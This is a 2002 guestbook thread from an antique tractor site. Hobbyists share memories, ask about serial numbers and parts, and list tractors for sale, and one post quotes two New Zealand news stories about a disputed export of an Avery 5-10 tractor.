Joel Rhoades wrote on Thursday, October 17, 2002 (PDT):My father used one on his farm south of York, Nebraska. We used to drive it all the time and it would start easily with the first or second crank. My brothers would have a contest on who could start it with the least cranks. We had to sell it at a farm sale in 1982, while I was in the Army. I would like to get it back and restore it, if possible. I don't know who bought it. How can I find out and find it? Please help if you can.
Joel Rhoades wrote on Thursday, October 17, 2002 (PDT):My father used one on his farm south of York, Nebraska. We used to drive it all the time and it would start easily with the first or second crank. My brothers would have a contest on who could start it with the least cranks. We had to sell it at a farm sale in 1982, while I was in the Army. I would like to get it back and restore it, if possible. I don't know who bought it. How can I find out and find it? Please help if you can.
Ron Weyer wrote on Wednesday, October 16, 2002 (PDT):The second tractor I remember my father buying was a 2010 JD. The first was a John Deere A ,which my father later sold regretably! The 2010 was the main reason my dad swithched from John Deere to IH/Farmall. The 2010 was the biggest pile of junk I have ever seen and my grandfather and all my uncles are John Deere men and they all agree the John Deere 2010 was the equivelant to the Ford Edsel. I have recently purchase a 1020 and could not be happier! After my dad used it for a few jobs, He agreed nothing runs like a DEERE
James Russell wrote on Wednesday, October 16, 2002 (PDT):I own a 1963 series III D17. First ALLIS that I have used like it quite well. It came with a two mounted cornpicker It is a nice straight tractor that I would like to restore. I would like to find the correct color for it as they tell me it is know longer avialeable. I got the paint codes but can't get anyone to mix it. Also need to know where to put the headlights as there are no holes where I have seen them put. It has tail lights but no headlights maybe because of the picker. Thank you for any information. email at jamar at usachoice.net I own a 1963 D17 series III. First ALLIS that I have used it
conrad wrote on Tuesday, October 15, 2002 (PDT):I am looking at buying a 1952 super c farmall. It is in very good shape, it is a one-owner tractor. I am going to use it mostly for bushhoging. It has the tricycle front end. Will this type of front end dig into my pastures if they are wet? Can you change the front end out with a wide type? I would like to know if a super c can take a sickle type side blade for cutting pasture . Thank you Conrad
richard tolbert wrote on Monday, October 14, 2002 (PDT):my father and i are looking for a D-17 for possble restoration. if the price is right and not too far away thank for any imformation
Jack M. Goldberg wrote on Sunday, October 13, 2002 (PDT):HELP, can anyone tell me what a 1950 Case V 161 or VT 161, not running is worth, or about how much I should go, NEW at this, please HELP, thanks.
Kent Atkinson wrote on Thursday, October 10, 2002 (PDT):My name is Kent Atkinson and I am a reporter with a New Zealand news agency. I have two groups of people making competing claims about an Avery 5-10 tractor. One says it was probably made/imported in 1910, but the other group, which has a vested interest in making it seem more commonplace (and so able to be exported) claims that it was only produced from 1916. This seems to be at odds with the picture on this website of a 1910 version. Any (brief) suggestions? Also, mention is made in one of the stories of an Avery 5-10 being sold in the United States in the past week -- can anybody tell me approximately how much it sold for in US dollars or is there some other indicationof the dollar value of an Avery 5-10? Thanks - I've included the two stories below; Wanganui, Sept 18 - Vintage tractor enthusiasts are battling to have Minister of Arts, Culture and Heritage Judith Tizard use the Antiquities Act to declare a rare old tractor should not be exported by its Irish purchaser. The ministry declined the export permit in July, but Irish owner Gerry King has appealed and a spokeswoman for the ministry, Margaret Marks, said today the decision was now in the hands of Ms Tizard. This is the first time the ministry has declined an export permit for a tractor of this nature, and if Mr King's appeal is unsuccessful, the ministry will order the rare Avery tractor stay in New Zealand. Rural contractor Roger Mahon, a critic of the efforts to ship out a crucial piece of the nation's history, said the tractor was the only known model of its kind in New Zealand and was one of the earliest tractors to come to this country. The rare friction-driven machine was imported to New Zealand by Wanganui-based company Hatrick and Co during the very early years of last century. It was reputed to be the first tractor to arrive in Wanganui. Further checks worldwide have only located one other in the United States and that was claimed to have been made in 1910. Mr Mahon said its model designation of 5-10 referred to five horsepower at the drawbar, and 10 horsepower on a belt pulley. Its transmission was a friction-drive, a right-angled flange wheel against a large flat faceplate. The transmission drive flange had a fibre outer surface that could be disengaged simply by moving it away from the driving faceplate. The tractor's speed could be varied by moving the drive closer to the centre of the plate, for a slow speed, and out to the outer edge to go faster. For ``reverse gear'' the drive switched to the opposite side of the flange plate. ``Friction drives were simple and gave a variation of speeds when most other tractors had only one forward gear,'' Mr Mahon said. ``The Avery did a lot of farm work from ploughing, discing and pulling hay carts to sawbench work,'' Mr Mahon said. To use the belt pulley. with the tractor stationary, a locking pin and transmission drive cog had to be removed. The New Zealand model has had a more modern carburettor and magneto fitted but started out life with trembler buzz coils similar to Ford's Model T, powered by dry batteries. Mr Mahon said the mid-mounted seating position was only common to the earliest of tractors, as were totally exposed drive gears to the rear wheels. It was discovered nearly 30 years ago through a chance meeting in Levin. Mr Mahon was a contractor on a rural water scheme for the Horowhenua District Council in 1973 when hunter Bob Burling told him of the ``funny-looking old tractor'' that had been abandoned under a collapsed shed at the head of the Waitotara Valley, near Wanganui. ``Bob had stumbled across the tractor during a hunting trip and would have loved to have bought it, but there was no way of getting it out. He took photos of it and removed the name plates, which he still has.'' A local farmer, Simon Pearce, cut an access track with a D4 bulldozer to tow the tractor back to his farm further down the valley. ``Using a few farm tools, Simon managed to get the tractor running after pouring diesel down the cylinder bores to unseize the pistons,'' Mr Mahon said. ``He told me he used to drive it from his farm homestead out to the road to collect his mail and stores.'' During the 1970s, while installing a fibre optic cable from Levin to Patea, Mr Mahon found Mr Pearce had sold his farm. He had also sold the tractor for $300 to a Hamilton man, but he'd forgotten the buyer's name. Later Mr Mahon was told by an antique tractor enthusiast, Alan Marx from Eltham, that the very rare Avery tractor had been sold to an overseas buyer who was seeking an export permit. ``I wrote a strongly worded letter opposing the permit giving the history I had about it. It amazed me I was the only person at that stage to know where the tractor had come from and the little history about it,'' Mr Mahon said. ``After Hatrick imported it to Wanganui it was sold to the Waldie family who developed a farm from bush land at the head of the Waitotara Valley. They sold the farm about 1946. Hatrick became New Zealand agents for Avery and sold tractors and products throughout New Zealand,'' Mr Mahon said. ``Most people I have spoken to would like to see the tractor returned to Wanganui where it began life in New Zealand. ``If the people of Wanganui don't want it, I'm sure somebody in New Zealand will buy it,'' Mr Mahon said. NZPA WGC kca Timaru, Oct 11 2002 - An international tug-of-war over a rare vintage tractor being exported from New Zealand by its Irish owner is still waiting on a decision by Arts, Culture and Heritage Minister, Judith Tizard. The Ministry of Arts the Culture and Heritage declined in July an initial first application for an export permit, but owner Gerry King appealed, and vintage tractor enthusiasts who say the tractor is part of the national heritage want Ms Tizard to block the export. A spkoesman for the minister said today Ms Tizard was seeking independent advice before making the decision. The friction-driven tractor is housed at Ben Lewis' property in South Canterbury awaiting Ms Tizard's decision. Mutual friends in Northern Ireland put Mr King in touch with Mr Lewis, who in April agreed to pack the tractor ready for export. The tractor had been for sale for about four years before Mr King paid ``a considerable amount'' for it, Mr Lewis said. He would not disclose the price paid for the tractor. Mr Lewis said today there was a lot of misinformation being spread about the tractor, which would hinder the export being approved. He suggested rural contractor Roger Mahon, a critic of efforts to ship out the tractor, was wrong in thinking the tractor was the only known model of its kind in New Zealand and one of only two in the world. It was not one of the earliest tractors to come into this country, Mr Lewis said. The first tractor was imported in 1904, but Mr King's friction-driven machine was imported by Wanganui-based company Hatrick and Co around 1918, he said. The American Avery tractors of this 5-10 model were in production from 1916-1920. ``This was not the first tractor in this area, as Mr Mahon claims, and is not the only tractor of its kind,'' Mr Lewis said. ``One sold last week in America.'' Mr Lewis said several parts of the machine were not original, including the chassis rail (where the serial number indicating the tractor's age would have been written), the ignition system, side rails, engine bonnet, seats, and fuel tank. Mr Mahon claimed the tractor did a lot of farm work including ploughing and pulling plough carts, but Mr Lewis disagreed. Mr Lewis said this was misleading. There was very little wear and tear on the tractor, which indicated it had done little work. Before buying the tractor Mr King checked regulations regarding its export to Ireland and was given the ``all clear'', Mr Lewis said. ``Mr King had been supplied with incorrect information. He had done everything that should have been necessary, but now finds he was given the wrong information.'' Mr Lewis hoped once Ms Tizard learned the tractor was not as rare as Mr Mahon claimed she would approve the export permit. He said Mr King was very frustrated that he was unable to have his tractor. CAPTION; Ben Lewis with the antique tractor that enthusiasts are fighting to keep in the country.
Ed Rothermel wrote on Wednesday, October 09, 2002 (PDT):I Bought a cub in summer of 2001 have taken it appart rebuilt and stripped paint have it ready to repaint and putback together but am missing # plate Anyone know where i can purchase one? dont know what year it was made? many thanks Ed/
shannon blythe wrote on Wednesday, October 09, 2002 (PDT):I have a 1935 wc pulling tractor and a 1937 unstyled wf.My puller has seen three engine rebuilds,and is now better than 85 horsepower.Lots of work, and lots of time has been spent on this one.I am 25 now when my father bought it for me i was 11.Fourteen years with my WC,and still love to take it out and giver HELL.P.S. Ihave lots of sources for styled and unstyled parts
Stephen Brodie wrote on Tuesday, October 08, 2002 (PDT):I was raised on John Deere green and still love the stuff, but just aquired a 930 and a 500. As a kid if 15 I worked for Farms in Alberta and had the opportunity to spend many hours on a 500. It was a brute compared to Dad's JD 70 Diesel, and it would have pulled that machine around against it's will. I remember the heat from that beast and the lulling sound of that fine machine, and the fact that it never broke, It's taken me 40 years to get back to driving one and it's Not for sale. I even called my last kid Case Brodie.
Rodney wrote on Monday, October 07, 2002 (PDT):I have four vac tractors and one parts tractor. I was not a case lover until my first one was given to me. After using that tractor I got over my redpower addiction and it is case all the way. I must confess that I do still have my F-12 and a F-20 as well, but they are just play toys! I use the vac to bush hog, belly mower to cut grass, tiller for garden, and a baler and rake, cultivator, but I need a sickle mower.
Lee Roy West wrote on Monday, October 07, 2002 (PDT):I recently purchased an International Cub Lo-Boy serial# 13825J can anyone provide me with any information about this tractor?
Chris wrote on Monday, October 07, 2002 (PDT):We have a 1949 m that we completely restored internally and externally we painted it jet black and put a number 3 on the side in memory of Dale Earnhardt and the motor we have turning almost 100 horse power and placed third in the state of MI in the 6000 LBS. class
Thom wrote on Sunday, October 06, 2002 (PDT): I operated an M Farmall for 4 years in the 60's. I cut grass on a 100 acre airport in northern VA. We used a 91/2 Woods mower.We tried an H first,but it didn't have enough power. The M is a power house.
Loren Furland wrote on Sunday, October 06, 2002 (PDT):My family owned a 1936 F-20 purchased in 1936 and sold in 1952.It was battleship grey, had 2 hand operated brakes and was converted from steel wheels to rubber tires in about 1949. I remember a heavy cast iron steering wheel which could be spun when the tractor was running ar 4 to 6 mph and the operator could simultaneously jerk the brake to turn a square corner quickly. It had a magneto and hand crank starting, with no lights.
Dick Souza wrote on Sunday, October 06, 2002 (PDT):We are looking to find out what year our case tractor is. I have the serial number and am guessing that it is an SC because of the serial number. The number is 4905564SC. Can anyone tell me how to figure out what year it is?
Stan Dumolt wrote on Saturday, October 05, 2002 (PDT):I have what I thought was a WD but I had it put in the shop for repairs and was told it was a WD45 how can I tell for sure what it is and what year it is. I really love it it's agreat tractor. So if someone could E-mail me and let know somethings about it.
Ken Mack wrote on Saturday, October 05, 2002 (PDT): Have three cockshutt 40 tractors for sale. One E4 E3 with adustable front end. call 865 984 4709.
Bob S. wrote on Saturday, October 05, 2002 (PDT): I have a Farmall Model B 1940 with single front wheel also with a Woods 306 Belly Mower. Fair condition asking $2500.00 contact me at (574)826-4440 or email at jtprimmer at earthlink.net
Nina / Jim huntsman wrote on Saturday, October 05, 2002 (PDT):is your tractor for sale? If so what are you asking for it?
STEVE MURRELL wrote on Friday, October 04, 2002 (PDT):I have been told that some of the older d17 tractors were set up like the old jd's with the rock shaft 3pt.It was up or down ,no in between. Is this true if so what year d17 was like this?When did they stop putting the high preasure hydrolics on the d17?
STEVE MURRELL wrote on Friday, October 04, 2002 (PDT):I have been told that some of the older d17 tractors were set up like the old jd's with the rock shaft 3pt.It was up or down ,no in between. Is this true if so what year d17 was like this?When did they stop putting the high preasure hydrolics on the d17?
STEVE MURRELL wrote on Friday, October 04, 2002 (PDT):I have been told that some of the older d17 tractors were set up like the old jd's with the rock shaft 3pt.It was up or down ,no in between. Is this true if so what year d17 was like this?When did they stop putting the high preasure hydrolics on the d17?
STEVE MURRELL wrote on Friday, October 04, 2002 (PDT):I have been told that some of the older d17 tractors were set up like the old jd's with the rock shaft 3pt.It was up or down ,no in between. Is this true if so what year d17 was like this?When did they stop putting the high preasure hydrolics on the d17?
Alex Blackerby wrote on Friday, October 04, 2002 (PDT):i have two m5's that are the same year as this one but they run on LP gass and i don't think that your front end is right it looks more like a g6 front end hope this helps.
Jon Nelson wrote on Thursday, October 03, 2002 (PDT):I Have a 1939-H and i need a seat for if any one out there can help please E-Mail me thanks P.S. in 1939 when they first came out they started the VIN # at 501 and my tractor has a # of 1060
Glenn T. Jordan wrote on Thursday, October 03, 2002 (PDT):I have an old Internatioal Harvester that I'm trying to find more info on and ultimately restore. The serial plate says Model FC Serial #22189, 1815 rpm max idle speed. Can anyone help me find the year this tractor was made? Thanks.
Robert J. Smith wrote on Thursday, October 03, 2002 (PDT):My first tractor was a Farmall M. The first thing I ever learned to drive was an M. It came to great surprise to know that the tractor I grew up with and loved would someday be mine. My grandpa gave it to me 2 years ago. Since then I have done everything that I could to keep her at her best. I would gladly take a Farmall M over any other tractor. What a great one she is.
Wayne Trundle wrote on Thursday, October 03, 2002 (PDT):I,m the proud owner of a super 55. Funny thing is I didn't know what a great tractor it was until I bought it. I had the hyd. pump rebiult but the guy told me it was too far gone to really work good. now I'm looking for a new pump (internal) and I need the part no. and a source to buy from. Also recently 2nd gear blew out which means I lost 4th as well in the 6 speed trans. I would like to buy a complete gear assembly. any help would be greatly appreciated.If I can find the parts, I'm going to do a total restoration on this liitle beauty. I look forward to hearing from all you oliver fans. thanks
Steve Skerritt wrote on Wednesday, October 02, 2002 (PDT):For the best looking tractor of all time,,, no comparisons even close. 1568 Black Stripe Series. Polish up the chrome, fire up the V8 power, and watch the kids step back (green boys too)!!! Amachine like this is virtually priceless
Ole Bekkedal wrote on Wednesday, October 02, 2002 (PDT):In our collection we have a John Lauson tractor, model 15-25, serial number 230. It has been standing outdoors for decades, but the engine is running, and we have most of the parts. We have done some restoration, but need help with some details of the cabin. Does any one have one of those or know of one, where we could get some measures?
Milton Stevenson wrote on Wednesday, October 02, 2002 (PDT):Does anyone know of a Farmall F-30 Cane Tractor for sale?
Norris McCarty wrote on Wednesday, October 02, 2002 (PDT):I have a 47 "B" for sale. Tractor is in very good condition. Has starter and generator. Also starts easily with crank. Tractor is all original. Paint is faded but not a single dent or ding. Rear tires great. Front tires ok. call 915-223-2886 ask for Norris (San Angelo,Tx.)
Sharon wrote on Wednesday, October 02, 2002 (PDT):Whoops...........Correction; I don't 'own' the tractor in the picture, I own one like it. Please excuse goof.
Keith DeSantis wrote on Wednesday, October 02, 2002 (PDT):Looking for some help in I/D what I know are Farmalls I think one is a F-14 fairly good shape has a 14 inch plow attached was running a year or so ago from what I been told/seems to be all there,the only thing I did notice was someone welded the wheels to the axles.The other I think it is a F-12 pretty tuff shape motor is apart head is off I was told it has a cracked block.What is the differance in the two models are part interchangeable,and where can I expect to find the ser# tags,what are they worth any help would be appriciated.I live in New Hampshire.
Ian Sanders wrote on Wednesday, October 02, 2002 (PDT):I currently have a 1946 Series One Mark One field marshall fully restored for sale and a 1947 Fowler VF Crawler complete with Dyson trailer. If you wish to contact me drop me an email.
gary wrote on Monday, September 30, 2002 (PDT):I am working on a D for a friend of mine, could any one tell me if all model D's had the offset front end to run the pully belt, neat idea. great tractor. would like any info, thanks
Gwen wrote on Monday, September 30, 2002 (PDT):My husband has a John Deere B that he is looking to sell. What is the tractor worth? How do we find out what year it was manufactured? It is in excellent condition, it's been stored in the garage, while my car sits outside!! We've recently sold our ranch and we would really like to sell it. If anyone can help us out, I would really appreciate it. Thank you.
Gary Brooks wrote on Monday, September 30, 2002 (PDT):wwhere can I find the ser.numbers for my tractor. I think and was told that it was a DC 1951 but I don't know.HELP!!
Clem geiger wrote on Monday, September 30, 2002 (PDT):I purchased a small cocshutt this summer. It's a clean machine. Someone removed the tag that identifies the model number. the tag was on the shroud just under the instrument panel. Does anyone have any idea how I can identify the model number. I suspect it was made after Oliver owned both cockshutt and Fiat. Fiat is stamped on the Tach, casting tie rod, and electrical panel. Any help would be appreciated.
Sharon wrote on Sunday, September 29, 2002 (PDT):Hello, I not only own the tractor in the picture, I own the other 15 "M"s that were manufactured between 1939 and 1954. I am trying to find out what a collection like that is worth. Does anyone have a clue? Oh, all are completely restored and shedded.
Chris Coblentz wrote on Saturday, September 28, 2002 (PDT): I bought a 1961 Fordson major Diesel. Serial # 1599440 that I am working on, it needs some parts. Found simms injector pump for $1100. Still needs some seals for other parts of tractor and hoses. Anybody know good place to look?
Barb Buitenbos wrote on Saturday, September 28, 2002 (PDT):Question. When John Deere bought Watterloo engine company was it a stationary engine that Mr. Deere placed on a wheel base to make it a tractor or was it all ready on wheels?
sam wrote on Friday, September 27, 2002 (PDT): looking for oil filter bracket 77 gas petrol 1946 yr new zealand
Ben in Indiana wrote on Friday, September 27, 2002 (PDT):Just finished a 1946 H with my ag classes at school. I'm the teacher. It runs great and looks great. It will be in a parade this week end. Check with your local high school ag classes for help on tractors and also volunteer to help them out sometimes with their needs.
ray west wrote on Friday, September 27, 2002 (PDT):I'm looking for a loader to fit a Ferguson 35 Deluxe tractor.1958-9. TO-35 on dash tag. Would like a hydraulic loader as opposed to a 3 point hitch one. can anyone help? Thanks
Brandon 1020 Cerritelli wrote on Thursday, September 26, 2002 (PDT):Hey everybody i have news for all you people trying to find the years of your Mcormicks.....ok on the bottem side of the tractor, right around where the tranny oil drain plug is will be a little metal tab about 2inches long that has the exact date.. MONTH DAY YEAR right on it , lots of people ask this but not to many know, good luck guys
brandon cerritelli wrote on Thursday, September 26, 2002 (PDT):Dear Dennis Becker, those curtins are prednear impossible to find. however an old timer who happons to be a very good friend of mine actually designed them from a pattern of catterpiller curtins however he sold the forms off to a compony who does sheetmetal fabs for antigue cars, but ill get you the name and #
brandon cerritelli wrote on Thursday, September 26, 2002 (PDT):Dear Dennis Becker, those curtins are prednear impossible to find. however an old timer who happons to be a very good friend of mine actually designed them from a pattern of catterpiller curtins however he sold the forms off to a compony who does sheetmetal fabs for antigue cars, but ill get you the name and #
Sam Stephens wrote on Thursday, September 26, 2002 (PDT):Best tractor ever made. I have 2 of them 1 is a 1947 the other is a 1948. I use the 1948 to bush-hog with a 8 foot littlestan mower, and have out cut a Ford 6610 with a 10 foot mower. Because most people don't know the SK has a 750 hpm powertakeoff that you can cut grass at 8 mph and do a good job.
Ricardo wrote on Thursday, September 26, 2002 (PDT):I farmed with a golden MM "U" for many years. I bought that tractor when I was 16 years old and baled a lot of hay with it. I remember so many farming memories while I was seated upon that machine. I loved it so much- I bet if the Lord was a farmer- he would have a Minneapolis-Moline U with a continuos pto, power steering, and maybe even a sun umbrella- how knows though? Keep those MM's farming- the world needs them!
Matt Hines wrote on Thursday, September 26, 2002 (PDT):I want to put a continuous pto option on one my MM U tractors- and I was wondering if it is possible to add that other pto clucth to a tractor that didn't have it. I read the manuals and it looks possible- I was just wondering any comments/suggestions on going about this- thanks. Please email me.
Ray Foster wrote on Thursday, September 26, 2002 (PDT):I recently found an old Regular, the serial # tag is missing, the engin # starts with QC indicating before 1926, the # is 98553 making it a 1930. The International data book I have indicates 402 tractors built before 1928 with housing 1556-DC, mines DB, the same book says the front bolster 1556-DD before August 1928, mines DC, I need help... I have a "36 F-20 (missing the S/N tag)the frame # and engine #'s match, I haven't found a frame # on this tractor.
Bryan McComas wrote on Wednesday, September 25, 2002 (PDT):All I know for sure is, my tractor is a Harry ferguson. The only thing I can find that looks like a model # is, GER No To-40827 is that it and if so what model is it? I would appreciate it if someone could help me out, Thanks, Bryan
nate watson wrote on Wednesday, September 25, 2002 (PDT):I am currently looking at a ford 871 with SOS transmission, the trandmission has some problems and if I purchase it I would like to convert it over to a standard transmission. What tractor model would have a compatable transmission and what other parts if any would I need in order to convert it over?
Richard Nassano wrote on Wednesday, September 25, 2002 (PDT):I have a Super Dexta and the engine serial is 1657390, I can't locate a serial to id the tractor, I see 957E-7222 on the plate under the gear shifts and 957E-7005 on the trans housing. How can I id the year of this tractor?
Dan Pigg wrote on Wednesday, September 25, 2002 (PDT):The Pigg family has one brought up from around St. Charles, Arkansas. At the time we bought it, it was newly overhauled. After we used it awhile, it acted a little lethargic, so we took it down to Sullivan (IN) and put it on a dyno. Only put out 46 horses - too low. Something must be wrong. We changed fuel filters, and put it back on the dyno and it put out right at 70. Acted a lot more "lively". Needs something to do now. I work here at the college in Terre Haute.
R Keeton wrote on Wednesday, September 25, 2002 (PDT):Found a Fordson that looks like the on ein the picture. Guy Put a Slanting 6 Dodge engine in it. It runs good and he said they had used it to move car frames around. Has electric fan in front of the radiator due to lack of space. Guestion- What are your thoughts about this rig? Will the Dodge clutch hold up to heavy work such as plowing? I am mort einterested in the bushhog aspect of the tractor but I am curious about the whole rig and how it can be expected to work like a tractor.
J R Sharpe wrote on Wednesday, September 25, 2002 (PDT):I sure am glad that I came upon this web site. In 1949, my granddad got killed when a team of work horses ran away with him, causing my dad to move his family to the family farm that he was raised on in Jan. 1950; at which time he purchased a 1950 farmall cub with all the attachments that you can think of, even the round belly disc for turning land. I am now 59 years old and about ready to retire and would just love to find a 49 to 51 model cub that is in good restorable condition. I live in East Tennessee, (Kingsport, TN) grew up in Reidsvill, N.C. Will be interested in whats available in area, hundered miles or so radius. Thanks JR
a driesse wrote on Tuesday, September 24, 2002 (PDT):could I plunk a pacer engine in a pony without major modifications??
Ron Zerkle wrote on Tuesday, September 24, 2002 (PDT):I recently purchased a house and along with it came, according to the ID plate below the dash, a Case VAI SN#6014428. Does anyone know the year of this tractor.
Arthur Ayers wrote on Monday, September 23, 2002 (PDT):Around 1984 or '85, my cousin bought and restored a 44 for pulling. He replaced the gas engine with a diesel. The 4 cyl. diesel that came in the 44D. He had lots of success with the ol' girl. I handled more suitcase weights than you can shake a stick at. He has since gotten rid of the 44. I was very upset when I found out he sold it, even though I didn't have the money to fix the cracked block (he thought that was the problem). I loved that tractor alot. I miss it to this day. Maybe I'll find it someday and bring it home.
M. Mullen wrote on Monday, September 23, 2002 (PDT):I am a Ranger in a Boy Scout Camp in NW NJ and I have '71 AC160 with a 460 loader. It runs but needs restoring. I have some spare parts and two owners manuals. What I need is a good, reliable, peice of medium to heavy duty lawn mowing equipment. I'm willing to do a trade. I know this tractor's full history.
Mike Kennis wrote on Monday, September 23, 2002 (PDT):Pat I gotz your lever, I'm the biggest John Deere parts dealer/pack rat I know of in this area. I just love John Deeres, but my wife like MF, I hate her. Call me up I'll hook you up pal!!!!!
Bobby Boone wrote on Sunday, September 22, 2002 (PDT):I have an old iron wheel tractor, the walk behind kind. The only information on the tractor says Indiana Tractor. Would like to hear from anyone that might could give me some information on this rig. Thanks
K. Futrell wrote on Sunday, September 22, 2002 (PDT):I am located in Arkansas,And work for Deere,I would like to find a B to restore with my 7 & 9 year old sons.Any help finding one of these classic John Deere tractors would be great.
AGary Kempher wrote on Saturday, September 21, 2002 (PDT):IOWN A 1953 MODEL 60 I am real proud to have it. I grew upn on a grain farm in the Ms river valley We uaed 70 diesels mostly, I wish I could get one again but they are so haevy to haul maybr i'll get another 60 or a Model A. I do know that antibue tractors are like peanuts, One is NEVER enough
John Wiggins wrote on Saturday, September 21, 2002 (PDT):I know two people who have super 77's. I drove a regular 77 for many years as a kid and an adult. It was a tough old tractor, it only had one fault. It was hard to shift from high neutral to low neutral.
Bud wrote on Saturday, September 21, 2002 (PDT):I have a 240 Utility for sale. Front end loader, engine runs, good sheet metal. It needs some work. Great parts tractor or project tractor. Tucson, Arizona. $800
V. J. REINIG wrote on Saturday, September 21, 2002 (PDT):i found a good vac-14 with h d wide front adj.,need a pully and good steering wheel this 14 has an offset steering colume. can also call me at 260-627-2491collect thanks.
Robert Breitwieser wrote on Friday, September 20, 2002 (PDT):I use a Cockshutt daily but just had a rear wheel rust out. I'm looking for a replacement or alternatively, parting with the faithful old steed. Any takers?
Mark Wessinger wrote on Friday, September 20, 2002 (PDT):I have 2 Model MT John Deere Tractors. Both are in excellent shape. Make me an offer! I am trying to restore a 1950 Model B.
Bob Sherwood wrote on Thursday, September 19, 2002 (PDT):Was up to a steam show a couple of wks. ago near Toronto, Ont. and seen a HUME tractor there. Wondered if you had ever seen one.
Pat Jones wrote on Thursday, September 19, 2002 (PDT):I just bought a restored H in excellent condition. Paid 3200. Did I pay too much. My buddy says its the best running JD he has heard, and he's restored a bunch. Its a fun tractor. I need a accelerator overide lever. Where can I get one. Thanks, Pat
sammy noodleman wrote on Thursday, September 19, 2002 (PDT):will try to help anyone out with questions on any AC tractors.i work for a dealership which has been here for 60+ years.i've been ther 25yrs.myself.i love the diamond!!!
James Anderson wrote on Thursday, September 19, 2002 (PDT):I just bought a Farmall H 1941. It runs well but shift is sloppy and I stuck it in low gear. Whats the easiest way to remove the shifter to repair? Any advice would be great. P.S. I love this tractor
Jack wrote on Thursday, September 19, 2002 (PDT):Hey; I got a nice 22-36 but is has 15-30 decals on it.It is all original nice paint for 72 years old.Rubber tires have been added.It has set in shid for 40 years,and it started up the first 10 ft we pulled it.It does have original plugs and will need a good tuneup.Wanting to get it out of the way for some green machines.Sheetmetal is in great shape.fair tires.no side covers for motor.Very straight tractor.1400.00 Email for pictures.
Ol Chief wrote on Wednesday, September 18, 2002 (PDT):I have four case tractors 1470,1175 and 2- 900 diesels just love em all.Just shortly ago I bought the last 900Dfrom a JD nut.This is a 1959 with steel wheels in run down condition.Kind of unusual to find a machine from 1959 on steel.It was used to plow gumbo soil an I am sure it pulled it's guts out on that duty. I intend to use it to clear some of my land of Mesqete Trees.For those of you unfamiliar with these trees,theyhave beautiful wood grain when large enough to harvest,wonderful picture frame material and and great for smokeing meat.Problem is -they have very strong two and three inch needles when young and on farm land.Makes tillage w/ a regular wheel tractor nearly impossible.I hope to post a picture of this beast in its present run down condition soon.I would like to locate a power steering unit for it.
Michael wrote on Wednesday, September 18, 2002 (PDT):I am looking for a generator to change my 47 Pony from 12 volt, back to a 6 volt. Please email me if you have one.
John C. Perry wrote on Wednesday, September 18, 2002 (PDT):I've inherited a 1950 Ford 8N tractor. I'd like to know where to go to get any implements for it. Such as a front loader, post-hole digger, etc. Anyone got any suggestions?
Miles Keith wrote on Wednesday, September 18, 2002 (PDT):We own a 1958 FMD with a 10 ton Boughton Wynch direct into PTO. Brilliant machine and many a tree trunk pulled. Maintainance and spares in the UK from Barry Clay - Tel 01902 842262 - Mob 078333 74480 Service excellent. Yes he has the orange and blue paint as well! Good luck.
Miles Keith wrote on Wednesday, September 18, 2002 (PDT):We own a 1958 FMD with a 10 ton Boughton Wynch direct into PTO. Brilliant machine and many a tree trunk pulled. Maintainance and spares in the UK from Barry Clay - Tel 01902 842262 - Mob 078333 74480 Service excellent. Yes he has the orange and blue paint as well! Good luck.
Darryl Nealis wrote on Tuesday, September 17, 2002 (PDT):I just purchased a 1959 Oliver 550. My first oliver tractor I have owned. I have operated two Oliver 1750's which I loved to operate. My 550 needs some work, such as brakes reworked etc. Does anyone know where a good source of oliver parts can be purchased.
R. Lane wrote on Monday, September 16, 2002 (PDT):My grandfather has a Super 55 that we still use on a regular basis. I love this old tractor because it will do just about anything needed. The other reason I love it is because my grandfather told me when I was about 10 years old (I'm 26 now) that it was mine when his time on earth was over. I think it will be something great that I can passon to my grandchildren.
John Kuepfer wrote on Monday, September 16, 2002 (PDT):I own a 1955 Massey Harris Ferguson TO-35 Deluxe in excellent running condition that has been in my family since the early 70's It has a heavy-duty custom Reist Welding (Elmira, Ontario) loader which I intend to sell if anyone is interested. The loader has an auxilliary pump that runs off the front end. My question has to do with the colour of the tractor, which is red and silver/grey. The tractor was purchased originally from a local Massey dealer whose decal is still on it and has not been painted by the subsequent owners. Where the paint is worn a bit I can spot the dark green on the chassis. Were any of the tractors from the Racine, Wisconsin, plant repainted in MF colours before they were sold by dealers in southwestern Ontario? Any thoughts?? I am also looking for a tail light since mine got lost somewhere over the years. Thanks.
gerry m wrote on Saturday, September 14, 2002 (PDT):i have a 47 mh pony that has a bad crack in the block just wondering if anyone has a block in good shape they are willing to sell at a fair price cuz shipping will also be a factor and so will the exchange on the canadian dollar!!
Jacob W. wrote on Saturday, September 14, 2002 (PDT):Find a C with a wide front and switch em'
S. Ribelin wrote on Saturday, September 14, 2002 (PDT):I just bought a 880 gas, and need a few parts. iwould like to know where to buy them? A tachometer,key switch,light switch,shift knob.
Paul Vaughan wrote on Saturday, September 14, 2002 (PDT):From what I've been told by a friend, don't know how true it is,that the "I" in the VAI indicated that it was a industrial type tractor. I have a 1950 Case VAI, it has hydraulics (pump mounted on the front case between the gear train and the magneto{mines been converted to a coil/distributor setup}). It had the remaining parts of a sickle mower underneath. Alos a homebrew 3 point setup. I am also looking for more info, engine size/manufacturer, location of SerNo. Data plate has been mangled.
Harold Kopf wrote on Friday, September 13, 2002 (PDT):I would like to buy a unstyled WF Allis-Chalmers Tractor
harold kopf wrote on Friday, September 13, 2002 (PDT):i would like to buy a unstyled wf allis chalmers tractor
Cowlitz Tractor wrote on Friday, September 13, 2002 (PDT):Just came across and whole pot of Farmalls! Various states, one looks like a 560, Was repainted, and had new gas(reman'd) then the guy died, stored 4 years, under cover thank GOD!, The widow want's to unload all of the parts that might be of value for someone... she has 2 H's, a super M, B,,, Those are just rear ends, maybe some trannies. If any interest is out there I'll break them down and see if they're worth the shipping, Will email digital pix. Paula
joe wrote on Thursday, September 12, 2002 (PDT):just finished restoring the paint on my 8n i bought in the spring, the tractor runs great ,smokes a little when given gas but the rings are a nother year. the problem is pto , the lower left connecting bar is leaking hydrolic fluid can this be fixed with out taking the casing appart.thanks joe...
joe wrote on Thursday, September 12, 2002 (PDT):just finished restoring the paint on my 8n i bought in the spring, the tractor runs great ,smokes a little when given gas but the rings are a nother year. the problem is pto , the lower left connecting bar is leaking hydrolic fluid can this be fixed with out taking the casing appart.thanks joe...
